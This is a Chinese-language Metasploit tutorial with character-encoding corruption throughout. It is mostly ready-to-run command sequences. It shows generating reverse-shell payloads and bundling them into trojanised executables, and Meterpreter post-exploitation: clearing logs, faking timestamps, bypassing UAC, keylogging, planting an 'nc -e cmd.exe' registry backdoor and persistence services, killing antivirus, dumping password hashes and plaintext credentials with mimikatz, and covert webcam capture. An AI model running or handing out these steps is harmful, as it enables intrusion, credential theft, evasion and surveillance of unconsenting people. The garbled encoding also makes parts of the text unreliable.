Metasploit基礎(chǔ)與應(yīng)用
Metasploit使用的數(shù)據(jù)庫(kù)是posetpresql,在msf5之前啟動(dòng)的話(huà)需要安裝數(shù)據(jù)庫(kù)格式化數(shù)據(jù)庫(kù),設(shè)置用戶(hù)和密碼去進(jìn)行連接,而在msf5之后不需要在這樣操作,只需在kali的命令行中使用msfdb init就可以初始化并開(kāi)啟msf的數(shù)據(jù)庫(kù),然后在輸入msfconsole就可以啟動(dòng)msf,進(jìn)入之后我們可以使用db_status來(lái)進(jìn)行查看連接數(shù)據(jù)庫(kù)的狀態(tài)。除此在外我們還可以使用kage實(shí)現(xiàn)界面話(huà)。
1.msf目錄結(jié)構(gòu)
在kali當(dāng)中默認(rèn)安裝,文件路徑是在/usr/share/metasploit-framework/中,在該目錄下有以下幾個(gè)比較重要的文件夾:
kotlin復(fù)制代碼data:目錄當(dāng)中是msf當(dāng)中一些可編輯的文件,如字典?
documentation:文檔目錄是對(duì)工具的介紹?
external:源代碼和第三方庫(kù)?
lib:(靜態(tài)鏈接庫(kù))目錄:里邊是msf的代碼?
modules:模塊目錄裝,有msf當(dāng)中的exp,payload等內(nèi)容?
plugins:可加載的插件?
scripts:meterpreter和其它腳本?
tools:各種命令行工具
其中modules模塊包含有msf的核心文件
bash復(fù)制代碼auxiliary #漏洞輔助模塊一般是沒(méi)有攻擊載荷的漏洞攻擊?
encoders? #碼器模塊?
evasion?? #簡(jiǎn)單的反殺模塊?
exploits? #滲透攻擊模塊?
nops????? #空指令模塊?
payloads? #漏洞負(fù)載模塊
2. msf的使用

2.1 msf基礎(chǔ)使用命令:
sql復(fù)制代碼show 模塊名:進(jìn)行羅列模塊?
search 模塊關(guān)鍵字:搜索關(guān)鍵字(一般都是我們查找某個(gè)漏洞的exp時(shí)會(huì)使用search進(jìn)行搜索關(guān)鍵詞)?
出現(xiàn)的開(kāi)頭為Auxiliary的模塊為掃描模塊,
exploit為執(zhí)行任務(wù)模塊?
use 模塊名:使用該模塊?
back:返回上一級(jí)?
info:在使用模塊之后可以使用info來(lái)查看模塊信息,查看的話(huà)主要查看這一部分?
show options(顯示的是info當(dāng)中的一部分):查看模塊配置 去設(shè)置回顯當(dāng)中required的配置?
set:使用set命令來(lái)設(shè)置required當(dāng)中需要配置的信息?
設(shè)置之后我們?cè)谑褂?/span>show options之后我們可以看到rhosts已經(jīng)變成了我們?cè)O(shè)置后的值?
exploit:來(lái)執(zhí)行?
jobs:查看后臺(tái)工作?
kill 工作ID號(hào):殺死進(jìn)程
2.2 msf掃描腳本
在下方目錄下是掃描腳本
/usr/share/metasploit-framework/modules/auxiliary/scanner/
bash復(fù)制代碼use auxiliary/scanner/discovery/arp_sweep???? 利用arp協(xié)議進(jìn)行發(fā)現(xiàn)主機(jī)?
use auxiliary/scanner/discovery/udp_sweep???? 可以回顯我們存活主機(jī)的計(jì)算機(jī)名,用戶(hù)?
use auxiliary/scanner/portscan/tcp???????????????????? 端口掃描模塊?
use auxiliary/scanner/http/dir_scanner?
use auxiliary/scanner/http/jboss_vulnscan?
use auxiliary/scanner/mssql/mssql_login?
use auxiliary/scanner/mysql/mysql_version?
use auxiliary/scanner/oracle/oracle_login
3. msfvenom
msfvenom是msfpayload和msfencode的組合,它用于生成有效載荷(payload)并進(jìn)行編碼
在kali當(dāng)中直接輸入msfvenom就可以直接運(yùn)行msfvenom
參考:www.cyberpratibha.com/blog/msfven…
3.1 msfvenom使用:
1、msfvenom常用參數(shù)及說(shuō)明
lua復(fù)制代碼MsfVenom - 是msf獨(dú)立有效載荷生成器,也是msfpayload和msfencode的替代品用法: msfvenom [options] <var=val>示例: msfvenom -p windows/meterpreter/reverse_tcp LHOST=<IP> -f exe -o payload.exe?
常用可用參數(shù):??? -l, --list????????? 列出所有模塊,可指定payload,encoders, nops, platforms, archs, encrypt, formats? 示例:msfvenom -l payload? ?????-p, --payload?????? 指定payload??????? --list-options? 查看指定的payload支持什么平臺(tái)、有哪些選項(xiàng)可以設(shè)置??????? ??????????????????????????? msfvenom -p windows/meterpreter/reverse_tcp --list-options ???-f, --format??????? 指定輸出payload的格式,示例 -f exe ????-e, --encoder?????? 指定要使用的編碼器,示例:-e sx86/shikata_ga_nai??? -o, --out?????????? 將生成的有效載荷保存到指定文件中??? -b, --bad-chars???? 要避免的壞字符 示例:-b '\x00\xff' ????-n, --nopsled?????? 將指定大小的nopled添加到有效載荷上??? -s, --space???????? 指定產(chǎn)生有效載荷的最大值,就是生成的文件大小??? -i, --iterations??? 指定對(duì)有效載荷的編碼次數(shù),一般不要超過(guò)20??? -c, --add-code????? 指定一個(gè)附加的win32 shellcode文件??? -a, <x64/x86>??????????????? 指定架構(gòu),一般需要先使用-platform檢查msf中的可用平臺(tái)??? -x????????????????? 指定一個(gè)文件,將pauload添加進(jìn)去【用于木馬捆綁】,示例:-x puttyel.exe??? -k????????? 該選項(xiàng)可以保留模版原來(lái)的功能,將payload作為一個(gè)新的線(xiàn)程來(lái)注入,但不能保證可以用在所有可執(zhí)行程序上??? -platform?????????? 查看msf中的可用平臺(tái)? 示例:msfvenom -l platforms??? -h, --help????????? 幫助信息
payload有兩種類(lèi)型:bind類(lèi)型(正向)和reverse類(lèi)型(反向)
bind類(lèi)型:即正向連接,一般使用在目標(biāo)機(jī)器處于內(nèi)網(wǎng)當(dāng)中,不能直接連通外網(wǎng),也不能通過(guò)其他機(jī)器進(jìn)行連接,此時(shí)就需要目標(biāo)機(jī)器通過(guò)正向的payload打開(kāi)一個(gè)端口,讓攻擊者去連接目標(biāo)機(jī)器打開(kāi)的這個(gè)端口,從而建立通信。
reverse類(lèi)型:即反向連接,指的是攻擊者的機(jī)器上打開(kāi)了一個(gè)端口,在目標(biāo)機(jī)器上運(yùn)行反向payload來(lái)連接攻擊機(jī)的端口,從而用于連接,常用于邊線(xiàn)服務(wù)器的上線(xiàn)。【大多數(shù)情況下用tcp協(xié)議的payload】
2、msfvenom構(gòu)造payload【基本使用】
windows下:
ini復(fù)制代碼msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.10.132【kali地址】 LPORT=4444?? -f exe >1.exe
linux下:
bash復(fù)制代碼msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.10.132 LPORT=4444 -f elf>1.elf
在生成payload之后我們?cè)?/span>msf當(dāng)中使用時(shí)一般注重一下的步驟:
bash復(fù)制代碼use exploit/multi/handler 【使用監(jiān)聽(tīng)模塊】?
set payload windows/x64/meterpreter_reverse_tcp 【設(shè)置的payload必須和msfvenom當(dāng)中生的payload是同一個(gè)模塊】?
set lhost 192.168.10.132【因?yàn)槭褂玫氖?/span>reverse模板,這里設(shè)置攻擊機(jī)的ip,用于監(jiān)聽(tīng)shell連接】?
set lport 4444【因?yàn)槭褂玫氖?/span>reverse模板,這里設(shè)置攻擊機(jī)的port,用于監(jiān)聽(tīng)shell連接】?
exploit -j 【-j為后臺(tái)運(yùn)行】
把msfvenom生成的payload上傳至目標(biāo)機(jī)器并運(yùn)行,然后我們就可以獲取一個(gè)shell,如果是后臺(tái)運(yùn)行,通過(guò)sessions -l 可以查看后臺(tái)的shell
3、msfvenom進(jìn)階
(1)指定編碼,指定編碼次數(shù)
msfvenom --list encoders:查看msfvenom自帶的編碼器,可以看到x86/shikata_ga_nai編碼器是評(píng)級(jí)為x86里面唯一excellent的,所以也是編碼中使用最多的
bash復(fù)制代碼msfvenom -p windows/meterpreter/reverse_tcp_rc4 LHOST=172.16.1.13 LPORT=4444 -e x86/shikata_ga_nai? -i 15 - f exe -o mazi.exe
(2)木馬捆綁
bash復(fù)制代碼msfvenom -p windows/meterpreter/reverse_tcp_rc4 LHOST=172.16.1.13 LPORT=4444 -e x86/shikata_ga_nai -x puttyel.exe -i 15 - f exe -o puttyel_master.exe
4.Meterprete
4.1 Meterprete基礎(chǔ)操作:
1、基本命令
vbnet復(fù)制代碼background:在進(jìn)入到Meterprete中之后我們可以使用此命令返回到msf當(dāng)中?
sessions -l:查看所有會(huì)話(huà)信息?
sessions -i 會(huì)話(huà)ID號(hào):與指定的會(huì)話(huà)進(jìn)行交互?
quit / exit:關(guān)閉當(dāng)前會(huì)話(huà)?
idletime:查看目標(biāo)服務(wù)器空閑時(shí)間?
shell:進(jìn)入對(duì)方的windows終端行,可以執(zhí)行一些windows下的命令,如果出現(xiàn)亂碼我們可以使用chcp 編碼代表字母 命令來(lái)改變編碼方式
65001 UTF-8代碼頁(yè)
950繁體中文
936簡(jiǎn)體中文默認(rèn)的GBK
437 MS-DOS美國(guó)英語(yǔ)
makefile復(fù)制代碼timestomp:偽造時(shí)間信息
timestomp -v C:/phpStudy/manual.chm #查看時(shí)間戳
timestomp C://2.txt -f C://1.txt #將1.txt的時(shí)間戳復(fù)制給2.txt
makefile復(fù)制代碼getsystem:嘗試提權(quán)方式?
clearev:清除windows中的應(yīng)用程序日志、系統(tǒng)日志、安全日志,需要system權(quán)限,清理后會(huì)有一個(gè)日志清除記錄
2、文件系統(tǒng)命令
makefile復(fù)制代碼search: 查找執(zhí)行文件
search -f 1.txt
search -f *.exe
bash復(fù)制代碼pwd | getwd:查看目標(biāo)當(dāng)前目錄的位置?
ls:列出目標(biāo)當(dāng)前目錄下的文件?
cd:切換目標(biāo)機(jī)的執(zhí)行目錄?
rm:刪除目標(biāo)機(jī)指定文件?
mkdir:在目標(biāo)機(jī)創(chuàng)建目錄(只能在當(dāng)前目錄下創(chuàng)建文件夾)?
rmdir:刪除目標(biāo)機(jī)指定目錄(只能刪除當(dāng)前目錄下的文件夾)?
getlwd? | lpwd:查看本地(攻擊機(jī))的當(dāng)前目錄(msf的目錄)?
lcd:切換本地(攻擊機(jī))的執(zhí)行目錄?
lls:列出本地(攻擊機(jī))當(dāng)前目錄下的文件?
download 文件名:將目標(biāo)文件下載到本地?
upload 文件名:上傳本地目錄到目標(biāo)主機(jī)
3、網(wǎng)絡(luò)命令
makefile復(fù)制代碼ipconfig / ifconfig:查看網(wǎng)絡(luò)接口信息?
netstat -ano:查看端口連接信息?
route:顯示路由信息?
netstat:查看網(wǎng)絡(luò)連接情況?
arp:查看arp信息?
getproxy:查看代理信息?
portfwd 端口轉(zhuǎn)發(fā)
portfwd add -l 6666 -p 3389 -r 127.0.0.1 #將目標(biāo)機(jī)的3389端口轉(zhuǎn)發(fā)到本地6666端口 rdesktop 127.0.0.1:6666 #kali遠(yuǎn)程桌面使用6666端口
arduino復(fù)制代碼run autoroute 路由相關(guān)
run autoroute -s 10.0.0.0/24 添加路由
run autoroute -s 10.0.0.0 -n 255.0.0.0 -s 參數(shù)為網(wǎng)關(guān) -n 參數(shù)為只掩碼
run autoroute -p 查看路由
添加路由實(shí)戰(zhàn)案例:
meterpreter > run autoroute -s 192.168.105.0 -n 255.255.255.0 #目標(biāo)機(jī)的網(wǎng)關(guān)和掩碼
msf6 > use auxiliary/server/socks_proxy #msf6使用sock5代理
msf6 auxiliary(server/socks_proxy) > set srvhost 127.0.0.1 #設(shè)置代理地址,一般設(shè)置攻擊機(jī)本機(jī)
msf6 auxiliary(server/socks_proxy) > set srvport 60010 #設(shè)置一個(gè)可用的端口
#設(shè)置proxychains使用即可
vim /etc/proxychains.conf
#將最后一行改為自己添加的路由信息如 socks5 127.0.0.1 60010
內(nèi)網(wǎng)滲透
run post/windows/gather/arp_scanner RHOSTS=10.10.10.0/24 #掃描整個(gè)段存活主機(jī)
run post/windows/gather/enum_computers:枚舉我們域內(nèi)的主機(jī)
4、系統(tǒng)命令
lua復(fù)制代碼execute :在目標(biāo)執(zhí)行命令的功能,可使用execute -h來(lái)獲取參數(shù)幫助
execute -H -i -f cmd.exe #創(chuàng)建新進(jìn)程cmd.exe,-H不可見(jiàn),-i交互 -m參數(shù)是在內(nèi)存中運(yùn)行
makefile復(fù)制代碼ps:列出目標(biāo)進(jìn)程?
getuid:查看當(dāng)前用戶(hù)的身份?
getprivs:查看當(dāng)前用戶(hù)的權(quán)限?
getpid:查看meterpreter shell進(jìn)程pid信息?
migrate PID:進(jìn)程遷移(隱蔽我們執(zhí)行的exe進(jìn)程或者是獲取其他的一些權(quán)限,這里需要meterpreter shell的權(quán)限要高于等于要遷移的進(jìn)程權(quán)限)
getpid #獲取當(dāng)前進(jìn)程的pid
ps 查看系統(tǒng)中運(yùn)行進(jìn)程
migrate #將meterpreter會(huì)話(huà)遷移到指定的pid進(jìn)行中
makefile復(fù)制代碼sysinfo:查看目標(biāo)信息?
kill:殺死目標(biāo)進(jìn)程?
shutdown:關(guān)機(jī)?
reboot:重啟
4.2 后滲透模塊使用
1、信息收集
如下為常用且高效的信息收集模塊
bash復(fù)制代碼/usr/share/metasploit-framework/modules/post/windows/gather/usr/share/metasploit-framework/modules/post/linux/gather?
解釋?zhuān)?/span>msf > run post/windows/gather/checkvm #是否虛擬機(jī)msf > run post/linux/gather/checkvm #是否虛擬機(jī)msf > run post/windows/gather/forensics/enum_drives?? #查看分區(qū)msf > run post/windows/gather/enum_applications???? #獲取安裝軟件信息msf > run post/windows/gather/dumplinks???????? #獲取最近的文件操作msf > run post/windows/gather/enum_ie????????? #獲取IE緩存msf > run post/windows/gather/enum_chrome???? #獲取Chrome緩存msf > run post/windows/gather/enum_patches??? #補(bǔ)丁信息msf > run post/windows/gather/enum_domain??? #查找域控
2、提權(quán)
getsystem
sql復(fù)制代碼1、getsystem創(chuàng)建一個(gè)新的Windows服務(wù),設(shè)置為SYSTEM運(yùn)行,當(dāng)它啟動(dòng)時(shí)連接到一個(gè)命名管道。2、getsystem產(chǎn)生一個(gè)進(jìn)程,它創(chuàng)建一個(gè)命名管道并等待來(lái)自該服務(wù)的連接。3、Windows服務(wù)已啟動(dòng),導(dǎo)致與命名管道建立連接。4、該進(jìn)程接收連接并調(diào)用ImpersonateNamedPipeClient,從而為SYSTEM用戶(hù)創(chuàng)建模擬令牌。
bypassuac
perl復(fù)制代碼內(nèi)置多個(gè)pypassuac腳本,原理有所不同,使用方法類(lèi)似,運(yùn)行后返回一個(gè)新的會(huì)話(huà),需要再次執(zhí)行getsystem獲取系統(tǒng)權(quán)限,如:?
use exploit/windows/local/bypassuacuse exploit/windows/local/bypassuac_injectionuse windows/local/bypassuac_vbsuse windows/local/ask
示例:
bash復(fù)制代碼msf > use exploit/windows/local/bypassuacmsf > set SESSION 5????? #選擇當(dāng)前會(huì)話(huà)msf > run
大部分情況下直接使用getsystem
是很難提權(quán)的,會(huì)提示管道內(nèi)存問(wèn)題、令牌問(wèn)題、RPCSS變體等阻礙提權(quán),但如果利用bypassuac返回新會(huì)話(huà)后,提權(quán)就會(huì)相對(duì)容易些
3、內(nèi)核提權(quán)
可先利用enum_patches
模塊收集補(bǔ)丁信息,然后查找可用的exploits進(jìn)行提權(quán),需要退出當(dāng)前連接
bash復(fù)制代碼meterpreter > run post/windows/gather/enum_patches? #查看補(bǔ)丁信息msf > use exploit/windows/....????? #利用未打補(bǔ)丁的模塊即可msf > set SESSION 5msf > exploit
4、遠(yuǎn)程桌面&截圖
perl復(fù)制代碼enumdesktops??? #查看可用的桌面getdesktop????? #獲取當(dāng)前meterpreter 關(guān)聯(lián)的桌面set_desktop???? #設(shè)置meterpreter關(guān)聯(lián)的桌面? -h查看幫助screenshot????? #截屏use espia?????? #使用espia模塊截屏? 然后輸入screengrabrun vnc????? #使用vnc遠(yuǎn)程桌面連接,這方法有點(diǎn)問(wèn)題,上傳了exe但是啟動(dòng)不了
5、開(kāi)啟rdp&添加用戶(hù)
getgui :該指令容易添加失敗(有火絨時(shí)直接失?。?/span>
perl復(fù)制代碼run getgui -e?? #開(kāi)啟遠(yuǎn)程桌面run getgui -u anan -p 123@a.com?? #添加用戶(hù)run getgui -f 63389 –e?? #3389端口轉(zhuǎn)發(fā)到63389
enable_edp :該指令在有火絨的情況下能夠正常添加用戶(hù)
bash復(fù)制代碼run post/windows/manage/enable_rdp? #開(kāi)啟遠(yuǎn)程桌面run post/windows/manage/enable_rdp USERNAME=test PASSWORD=123@a.com #添加用戶(hù),需要注意密碼復(fù)雜度run post/windows/manage/enable_rdp FORWARD=true LPORT=63389? #將3389端口轉(zhuǎn)發(fā)到63389
6、鍵盤(pán)記錄
bash復(fù)制代碼keyscan_start??? #開(kāi)始鍵盤(pán)記錄keyscan_dump???? #導(dǎo)出記錄數(shù)據(jù)keyscan_stop?? #結(jié)束鍵盤(pán)記錄
注意:導(dǎo)出記錄的話(huà)要在keyscan_stop命令之前,不然結(jié)束了就無(wú)法導(dǎo)出了
7、注冊(cè)表操作
注冊(cè)表參數(shù)說(shuō)明如下
ini復(fù)制代碼meterpreter > reg -hUsage: reg [command] [options]Interact with the target machine's registry.?
OPTIONS:?
-d <opt>? The data to store in the registry value.#注冊(cè)表中值的數(shù)據(jù)-h??????? Help menu.-k <opt>? The registry key path (E.g. HKLM\Software\Foo).#注冊(cè)表鍵路徑-r <opt>? The remote machine name to connect to (with current process credentials#要連接的遠(yuǎn)程計(jì)算機(jī)名稱(chēng)(使用當(dāng)前進(jìn)程憑據(jù))-t <opt>? The registry value type (E.g. REG_SZ).#注冊(cè)表值類(lèi)型-v <opt>? The registry value name (E.g. Stuff).#注冊(cè)表鍵名稱(chēng)-w??????? Set KEY_WOW64 flag, valid values [32|64].#設(shè)置32位注冊(cè)列表還是64位?
COMMANDS:?
enumkey? Enumerate the supplied registry key [-k <key>]#枚舉可獲得的鍵createkey? Create the supplied registry key? [-k <key>]#創(chuàng)建提供的注冊(cè)表項(xiàng)deletekey? Delete the supplied registry key? [-k <key>]#刪除提供的注冊(cè)表項(xiàng)queryclass Queries the class of the supplied key [-k <key>]#查詢(xún)鍵值數(shù)據(jù)setval Set a registry value [-k <key> -v <val> -d <data>]#設(shè)置鍵值deleteval? Delete the supplied registry value [-k <key> -v <val>]#刪除提供的注冊(cè)表值queryval Queries the data contents of a value [-k <key> -v <val>]#查詢(xún)值的數(shù)據(jù)內(nèi)容
注冊(cè)表設(shè)置nc后門(mén)
bash復(fù)制代碼upload /root/nc64.exe C://Users//anan//Desktop?? #上傳nc,前面的是你要上傳文件的位置reg enumkey -k HKLM\\software\\microsoft\\windows\\currentversion\\run?? #枚舉run下的keyreg setval -k HKLM\\software\\microsoft\\windows\\currentversion\\run -v lltest_nc -d 'C://Users//anan//Desktop//nc.exe -Ldp 60011 -e cmd.exe' #設(shè)置鍵值reg queryval -k HKLM\\software\\microsoft\\windows\\currentversion\\Run -v lltest_nc?? #查看鍵值?
nc -v 192.168.105.131 60011? #攻擊者連接nc后門(mén)
8、令牌操作
incognito假冒令牌
bash復(fù)制代碼use incognito??????? #進(jìn)入incognito模式help incognito????? #查看幫助list_tokens -u??????? #查看可用的tokenimpersonate_token 'NT AUTHORITY\SYSTEM'??? #假冒SYSTEM token,或者用下面的#impersonate_token NT\ AUTHORITY\\SYSTEM?? #不加單引號(hào) 需使用\\execute -f cmd.exe -i –t??????????? # -t 使用假冒的token執(zhí)行或者直接shellrev2self?????? #返回原始token
steal_token竊取令牌
bash復(fù)制代碼steal_token <pid值> ??#從指定進(jìn)程中竊取token?? 先psdrop_token? #刪除竊取的token
這種方法如果不是SYSTEM權(quán)限的話(huà)是無(wú)法竊取SYSTEM權(quán)限的,只能竊取相關(guān)的權(quán)限
9、關(guān)閉殺軟
arduino復(fù)制代碼meterpreter> run killav *//這個(gè)腳本要小心使用,可能導(dǎo)致目標(biāo)機(jī)器藍(lán)屏死機(jī)*
10、hash抓取
hashdump
hashdump 模塊可以從SAM數(shù)據(jù)庫(kù)中導(dǎo)出本地用戶(hù)賬號(hào),該命令的使用需要系統(tǒng)權(quán)限
arduino復(fù)制代碼run hashdump
smart_hashdump
smart_hashdump需要系統(tǒng)權(quán)限,該功能更強(qiáng)大,可以導(dǎo)出域內(nèi)所有用戶(hù)的hash??!
smart_hashdump還可以配合PSExec模塊進(jìn)行哈希攻擊
arduino復(fù)制代碼run windows/gather/smart_hashdump
抓取自動(dòng)登錄用戶(hù)的密碼
arduino復(fù)制代碼run windows/gather/credentials/windows_autologin
kiwi
kiwi模塊同時(shí)支持32位和64位的系統(tǒng),但是該模塊默認(rèn)是加載32位的系統(tǒng),所以如果目標(biāo)主機(jī)是64位系統(tǒng)的話(huà),直接默認(rèn)加載該模塊會(huì)導(dǎo)致很多功能無(wú)法使用。所以如果目標(biāo)系統(tǒng)是64位的,則必須先查看系統(tǒng)進(jìn)程列表,然后將meterpreter進(jìn)程遷移到一個(gè)64位程序的進(jìn)程中,才能加載kiwi并且查看系統(tǒng)明文。如果目標(biāo)系統(tǒng)是32位的,則沒(méi)有這個(gè)限制。
csharp復(fù)制代碼meterpreter > load? mimikatz?? #如果目標(biāo)是64位的系統(tǒng),會(huì)報(bào)如下錯(cuò)誤.....[!] Loaded x86 Kiwi on an x64 architecture .....
如果遇到該報(bào)錯(cuò),則遷移進(jìn)程到一個(gè)64位進(jìn)程上即可
復(fù)制代碼psmigrate <64位進(jìn)程pid>
該功能非常強(qiáng)大,kiwi_cmd命令是包含了mimikatz
lua復(fù)制代碼creds_all:列舉所有憑據(jù)creds_kerberos:列舉所有kerberos憑據(jù)creds_msv:列舉所有msv憑據(jù)creds_ssp:列舉所有ssp憑據(jù)creds_tspkg:列舉所有tspkg憑據(jù)creds_wdigest:列舉所有wdigest憑據(jù)dcsync:通過(guò)DCSync檢索用戶(hù)帳戶(hù)信息dcsync_ntlm:通過(guò)DCSync檢索用戶(hù)帳戶(hù)NTLM散列、SID和RIDgolden_ticket_create:創(chuàng)建黃金票據(jù)kerberos_ticket_list:列舉kerberos票據(jù)kerberos_ticket_purge:清除kerberos票據(jù)kerberos_ticket_use:使用kerberos票據(jù)kiwi_cmd:執(zhí)行mimikatz的命令,后面接mimikatz.exe的命令lsa_dump_sam:dump出lsa的SAMlsa_dump_secrets:dump出lsa的密文password_change:修改密碼wifi_list:列出當(dāng)前用戶(hù)的wifi配置文件wifi_list_shared:列出共享wifi配置文件/編碼
獲取明文密碼
arduino復(fù)制代碼kiwi_cmd sekurlsa::logonpasswords
11、后門(mén)植入
metasploit自帶的后門(mén)有兩種方式啟動(dòng)的,一種是通過(guò)啟動(dòng)項(xiàng)啟動(dòng)persistence,一種是通過(guò)服務(wù)啟動(dòng)metsvc,另外還可以通過(guò)persistence_exe自定義后門(mén)文件。
persistence啟動(dòng)項(xiàng)后門(mén)
vbnet復(fù)制代碼OPTIONS:?
??? -A?? Automatically start a matching exploit/multi/handler to connect to the agent??? -h?? 幫助信息??? -i?? 每次嘗試連接之間的間隔(以秒為單位)??? -L?? Location in target host to write payload to, if none %TEMP% will be used.??? -p?? 設(shè)置Metasploit的監(jiān)聽(tīng)端口??? -P?? 設(shè)置payload,默認(rèn)值為windows/MeterMeter/reverse_tcp??? -r?? 設(shè)置metasploit的ip(攻擊者的ip)??? -S?? 在作為服務(wù)啟動(dòng)時(shí)自動(dòng)啟動(dòng)代理(具有system權(quán)限) ????-T?? Alternate executable template to use??? -U?? 設(shè)置為用戶(hù)登錄時(shí)自動(dòng)啟動(dòng)??? -X?? 設(shè)置為系統(tǒng)啟動(dòng)時(shí)自動(dòng)啟動(dòng)
run persistence –h
run persistence -X -i 5 -p 60012 -r 192.168.0.11
persistence啟動(dòng)項(xiàng)后門(mén)的缺點(diǎn)是容易被殺毒軟件查殺!建議進(jìn)行如下操作
在C:\Users\anan\AppData\Local\Temp\目錄下,上傳一個(gè)vbs腳本在注冊(cè)表HKLM\Software\Microsoft\Windows\CurrentVersion\Run\加入開(kāi)機(jī)啟動(dòng)項(xiàng)
metsvc服務(wù)后門(mén)
css復(fù)制代碼 -A? 自動(dòng)安裝后門(mén) -h? 幫助 -r? 卸載現(xiàn)有的后門(mén)(需要手動(dòng)刪除木馬文件)
會(huì)自動(dòng)在C:\Users\anan\AppData\Local\Temp...生成三個(gè)文件,并把meterpreter自動(dòng)放在服務(wù)自啟中
攻擊機(jī)使用正向連接,并把連接端口設(shè)置為31337,進(jìn)行連接即可
bash復(fù)制代碼set payload windows/metsvc_bind_tcp? ?
12、操作目標(biāo)機(jī)模塊
bash復(fù)制代碼run webcam:開(kāi)啟一個(gè)攝像頭?
uictl [enable/disable] [keyboard/mouse/all] #開(kāi)啟或禁止鍵盤(pán)/鼠標(biāo)?
uictl disable mouse??? #禁用鼠標(biāo)?
uictl disable keyboard? #禁用鍵盤(pán)?
uictl enable mouse??? #開(kāi)啟鼠標(biāo)?
uictl enable keyboard? #開(kāi)啟鍵盤(pán)?
webcam_list???? #查看攝像頭?
webcam_snap???? #通過(guò)攝像頭拍照?
webcam_stream?? #通過(guò)攝像頭開(kāi)啟視頻
5. Armitage
是一個(gè)msf的圖形 界面話(huà)工具但是非常的卡頓不建議使用,在命令行直接使用armitage可以直接使用.
6.msf與cs互相派生會(huì)話(huà)
6.1 cs派生會(huì)話(huà)到msf
1、msf配置
bash復(fù)制代碼use exploit/multi/handler?
set payload windows/meterpreter/reverse_http?
set lhost xxxxxx?? (本機(jī)ip)?
set lport xxxx?
exploit
2、cs配置
添加一個(gè)監(jiān)聽(tīng)器,選擇Foreign HTTP,設(shè)置ip為msf的監(jiān)聽(tīng)ip,端口設(shè)置為msf監(jiān)聽(tīng)的端口,起一個(gè)名稱(chēng),如cs->msf
然后命令行(beacon)執(zhí)行:spawn cs->msf #cs->msf為監(jiān)聽(tīng)器名稱(chēng)
6.2 msf派生會(huì)話(huà)到cs
1、cs配置
添加一個(gè)監(jiān)聽(tīng)器,選擇Beacon HTTP,然后設(shè)置相應(yīng)的監(jiān)聽(tīng)ip和監(jiān)聽(tīng)端口即可
2、msf配置
bash復(fù)制代碼sessions -l??? #查看當(dāng)前存在的session會(huì)話(huà)?
use exploit/windows/local/payload_inject?
set payload windows/meterpreter/reverse_http?
set lhost 192.168.10.13?????? # 設(shè)置cs監(jiān)聽(tīng)的地址?
set lport 60020?????????????? # 設(shè)置cs監(jiān)聽(tīng)的端口?
set session 1???????????????? # 指定要派生的會(huì)話(huà)?
exploit?? #運(yùn)行后,cs即可看到上線(xiàn)